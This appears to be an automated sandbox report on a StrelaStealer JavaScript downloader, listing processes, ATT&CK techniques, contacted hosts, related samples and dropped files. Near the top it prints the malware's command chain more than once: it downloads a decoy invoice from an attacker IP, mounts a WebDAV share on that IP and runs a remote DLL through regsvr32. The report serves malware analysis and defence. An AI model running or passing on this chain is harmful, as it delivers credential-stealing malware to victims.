Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319431895725963.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319431895725963.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1187225758523111660.js	5%	Virustotal		Browse
1187225758523111660.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/;=x	0%	Avira URL Cloud	safe
http://schemas.microsoft.	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://schemas.microsoft.	svchost.exe, 00000008.00000002.2989129523.00000234202B1000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000008.00000002.2989818660.0000023425600000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
http://193.143.1.205:8888/;=x	net.exe, 00000006.00000003.1755811577.0000023A6AEDD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1771410641.0000023A6AEDD000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1766673192.0000023425902000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1771410641.0000023A6AEDD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1771516205.0000023A6AF01000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1755660052.0000023A6AEFF000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/sce	net.exe, 00000006.00000002.1771328061.0000023A6AEA8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1766673192.0000023425902000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588382
Start date and time:	2025-01-11 01:39:31 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1187225758523111660.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 2.22.242.11, 2.22.242.123, 172.64.41.3, 162.159.61.3, 3.219.243.226, 3.233.129.217, 52.22.41.97, 52.6.155.20, 2.23.242.162, 23.209.209.135, 199.232.210.172, 2.16.168.105, 2.16.168.107, 54.224.241.105, 20.109.210.53, 23.56.162.204, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
19:40:26	API Interceptor	21x Sleep call for process: powershell.exe modified
19:40:29	API Interceptor	1x Sleep call for process: net.exe modified
19:40:30	API Interceptor	2x Sleep call for process: svchost.exe modified
19:40:37	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	4892182381391430128.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2445839083247016653.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	739144331377016921.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4947276292772611217.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	15226731132828820.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2837518771550414407.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	23333227572217423995.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12621132703258916868.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2709365481268819493.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	28098292552574015467.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	4947276292772611217.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	15226731132828820.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2837518771550414407.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	12621132703258916868.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2709365481268819493.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	28098292552574015467.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	21534160892486631756.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	129415641190368510.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	17266187282427315527.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	5197307041739714413.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	4892182381391430128.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2445839083247016653.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	739144331377016921.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4947276292772611217.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	15226731132828820.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	27374120242908411416.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7772104212868830459.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2837518771550414407.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	23333227572217423995.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	12621132703258916868.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.307312775798431
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrV:KooCEYhgYEL0In
MD5:	11C6B91406EEB19F939691D1325FE79E
SHA1:	C6AF9C26897F3CB85A9D017B69008523A6F98578
SHA-256:	916476C471BC44A5E2DE3CBA835CDE4ECD9FF3AB1D7B755BFA9D65FEC6E6A911
SHA-512:	6EF51DF1A58E00542C6A26CDF3571826C3141CF06E69E03FAD36CD0E7DCA4AAE7D8B8A95D0D9AE817CB9999D45E7F6B27950F9C85E01668A3390C15115438B3B
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x5a095c84, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.42207067933493436
Encrypted:	false
SSDEEP:	1536:RSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Raza/vMUM2Uvz7DO
MD5:	308E129BCF2C78797EB05B8B3737A55C
SHA1:	7C4C50512E373A7F7DCB4D342CC0F95CD1C64C82
SHA-256:	C7AB7D63700E58F574B3BB7E472C38C5AD08D56D2C16CB2D234A21E60E916DB4
SHA-512:	E9D222236D1D5473CF7C80046B3227A933B6D7F35146259181B9E615489EAF199113A65C3BE1F9C4CA303F4FA037303CA750BFFEFA311557AC52634E5DBF7DE3
Malicious:	false
Preview:	Z.\.... .......A.......X\...;...{......................0.!..........{A..(...}-.h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{..................................6:mR.(...}..................7....(...}G..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07524572288128586
Encrypted:	false
SSDEEP:	3:sHQltKYeNt+YvCjn13a/u6NluIlt/ollcVO/lnlZMxZNQl:sHQltKzNMYa53qu69AOewk
MD5:	C2816F6D0F17F545314969C3A903BC04
SHA1:	9EC91928387552D1C790BE5B129464B59AC6DC45
SHA-256:	9D40F4A326465BA46C109B44B5AD8EB4A04D998AB559CBD0073A4A693424219A
SHA-512:	51BF940D6A58AA2AE334CB0DF72ED27181AADF702B32E1BC7BBF35BE6B0A7D5CBD217D05D1D86C50C5BAF29B1516B107C0F6A07A741B82D7F044B7D6C71D0593
Malicious:	false
Preview:	..b......................................;...{...(...}G......{A..............{A......{A..........{A]................7....(...}G.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.194528331457922
Encrypted:	false
SSDEEP:	6:iO4Zns3+q2Pwkn2nKuAl9OmbnIFUtSZBUDJZmwsZBUD9VkwOwkn2nKuAl9OmbjLJ:7idvYfHAahFUtEBUl/eBU35JfHAaSJ
MD5:	17901C426639A883C668B2987451E33B
SHA1:	10E7DCE562F96373ADD439D70C8DE7BD282CA0E1
SHA-256:	BB597F13A4A16862DAFB40AB37FFA89B53ECEC67A5828BB3B16878EEAA8424D2
SHA-512:	FE196987A1E665304B00559A08493A68BD2FBC2BAA49108824672DC180C61357CFD12E3BF6B3C00017DE3964D532E61C16A677E91B686289586F3251080EE876
Malicious:	false
Preview:	2025/01/10-19:40:29.822 1f28 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-19:40:29.824 1f28 Recovering log #3.2025/01/10-19:40:29.824 1f28 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.194528331457922
Encrypted:	false
SSDEEP:	6:iO4Zns3+q2Pwkn2nKuAl9OmbnIFUtSZBUDJZmwsZBUD9VkwOwkn2nKuAl9OmbjLJ:7idvYfHAahFUtEBUl/eBU35JfHAaSJ
MD5:	17901C426639A883C668B2987451E33B
SHA1:	10E7DCE562F96373ADD439D70C8DE7BD282CA0E1
SHA-256:	BB597F13A4A16862DAFB40AB37FFA89B53ECEC67A5828BB3B16878EEAA8424D2
SHA-512:	FE196987A1E665304B00559A08493A68BD2FBC2BAA49108824672DC180C61357CFD12E3BF6B3C00017DE3964D532E61C16A677E91B686289586F3251080EE876
Malicious:	false
Preview:	2025/01/10-19:40:29.822 1f28 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-19:40:29.824 1f28 Recovering log #3.2025/01/10-19:40:29.824 1f28 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.169756005555946
Encrypted:	false
SSDEEP:	6:iO4ZtqVq2Pwkn2nKuAl9Ombzo2jMGIFUtSwDlgZmwswDlIkwOwkn2nKuAl9Ombzz:7itqVvYfHAa8uFUtXxg/1xI5JfHAa8RJ
MD5:	AF2407C84C748106A561FC3C5B1422FA
SHA1:	8E1B2E31F31D098298C8DBAAE1E0AB9A1CCBA8CE
SHA-256:	7A80FCE097CA76C90A4F0163E7095F01E021F611D3CB935DF3E78424E787A224
SHA-512:	58D7E4A5332453AA9A37B56993E94324F7F2883128FDD3826D26B25D429F7AEA83CF3A16B52857B4B3E482B386A4764B6988D1BA1DD9057A4E8D12B9DCD339C8
Malicious:	false
Preview:	2025/01/10-19:40:29.998 1f74 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-19:40:30.000 1f74 Recovering log #3.2025/01/10-19:40:30.000 1f74 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.169756005555946
Encrypted:	false
SSDEEP:	6:iO4ZtqVq2Pwkn2nKuAl9Ombzo2jMGIFUtSwDlgZmwswDlIkwOwkn2nKuAl9Ombzz:7itqVvYfHAa8uFUtXxg/1xI5JfHAa8RJ
MD5:	AF2407C84C748106A561FC3C5B1422FA
SHA1:	8E1B2E31F31D098298C8DBAAE1E0AB9A1CCBA8CE
SHA-256:	7A80FCE097CA76C90A4F0163E7095F01E021F611D3CB935DF3E78424E787A224
SHA-512:	58D7E4A5332453AA9A37B56993E94324F7F2883128FDD3826D26B25D429F7AEA83CF3A16B52857B4B3E482B386A4764B6988D1BA1DD9057A4E8D12B9DCD339C8
Malicious:	false
Preview:	2025/01/10-19:40:29.998 1f74 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-19:40:30.000 1f74 Recovering log #3.2025/01/10-19:40:30.000 1f74 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\2501e173-cc08-4a6e-8e85-f35680686e7d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.959457673652808
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPGhsBdOg2H2caq3QYiubInP7E4T3y:Y2sRdsCGydMHJ3QYhbG7nby
MD5:	B0719545769B7A8C0B57EC0FA74E659E
SHA1:	0F49E3A80D103032EF96EC74D4C5BF1D689C42DB
SHA-256:	B9684D243F00EA1E46F1CE12A59376A08DD01C2EB8C8C86E8188CB6C78FB940F
SHA-512:	2BBE7A0ABF3C20F5263A22EF10DA483EF110233DFD1EC609548F209A5EEDAA6395082664FFD2BA58B5E66C07594F842FE65849BDACB68E349EB08A69F18CE86C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381116041656026","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":119450},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.959457673652808
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPGhsBdOg2H2caq3QYiubInP7E4T3y:Y2sRdsCGydMHJ3QYhbG7nby
MD5:	B0719545769B7A8C0B57EC0FA74E659E
SHA1:	0F49E3A80D103032EF96EC74D4C5BF1D689C42DB
SHA-256:	B9684D243F00EA1E46F1CE12A59376A08DD01C2EB8C8C86E8188CB6C78FB940F
SHA-512:	2BBE7A0ABF3C20F5263A22EF10DA483EF110233DFD1EC609548F209A5EEDAA6395082664FFD2BA58B5E66C07594F842FE65849BDACB68E349EB08A69F18CE86C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381116041656026","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":119450},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.250667197801351
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7Dg5Ei:etJCV4FiN/jTN/2r8Mta02fEhgO73goG
MD5:	702AE8C20AF63CE7B04BD48096F08A3A
SHA1:	20F504193411B18C03A51A2DC0153C9A124C5AA7
SHA-256:	158DEE7B3413C3B31CFB2FDB1873A05935CAF30B0C20B67913608A616B0C6EAB
SHA-512:	9CB23A68C76F59BB5A8EAF28BE84B9C6300EFAC70E3A503A1D16296C47C885357F7F60FCD364864CA7420C27EA23E534EBEA8F8F9FC828CA5EF7C768FA231A56
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.192946943396878
Encrypted:	false
SSDEEP:	6:iO4xMlVq2Pwkn2nKuAl9OmbzNMxIFUtS8gZmwsS0IkwOwkn2nKuAl9OmbzNMFLJ:7cMlVvYfHAa8jFUtLg/f0I5JfHAa84J
MD5:	D50D8B019858A58C78BA8496CBC47715
SHA1:	448B06DF378A45B0243802B4EF6BABE503D1E344
SHA-256:	7C9A5B3AE0BD76DB12398D3642A4478A782164DF778503C312A42154CF99455D
SHA-512:	CA0C118712345EBB185F3C4E528BDBC7E189123E8FF61DE733FEFF3E7AC856F11DE48027F6074FBEA4B904EDF4F76E2DD69A31F94B2278424B285FE303CE877E
Malicious:	false
Preview:	2025/01/10-19:40:30.426 1f74 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-19:40:30.491 1f74 Recovering log #3.2025/01/10-19:40:30.520 1f74 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.192946943396878
Encrypted:	false
SSDEEP:	6:iO4xMlVq2Pwkn2nKuAl9OmbzNMxIFUtS8gZmwsS0IkwOwkn2nKuAl9OmbzNMFLJ:7cMlVvYfHAa8jFUtLg/f0I5JfHAa84J
MD5:	D50D8B019858A58C78BA8496CBC47715
SHA1:	448B06DF378A45B0243802B4EF6BABE503D1E344
SHA-256:	7C9A5B3AE0BD76DB12398D3642A4478A782164DF778503C312A42154CF99455D
SHA-512:	CA0C118712345EBB185F3C4E528BDBC7E189123E8FF61DE733FEFF3E7AC856F11DE48027F6074FBEA4B904EDF4F76E2DD69A31F94B2278424B285FE303CE877E
Malicious:	false
Preview:	2025/01/10-19:40:30.426 1f74 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-19:40:30.491 1f74 Recovering log #3.2025/01/10-19:40:30.520 1f74 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444836866336036
Encrypted:	false
SSDEEP:	384:yezci5tfiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:rUs3OazzU89UTTgUL
MD5:	9153951978FB0527B9C3F06FB972EB07
SHA1:	4064CAD2EC73AF0F1FB0A6F27397EF1008ACC432
SHA-256:	5DA8856258B3158BEE8B8715CBDB2A86A93856C09D6994B2B139F8A361BD7BD5
SHA-512:	11C533837CFC80C1D96E7A926534CC233002C33CE111B2735F9EF623A30F61DC6BC8F0480A9BF4B3832D0EAFF05A7C33F76602ED13B819252969F0E6C4B5521F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
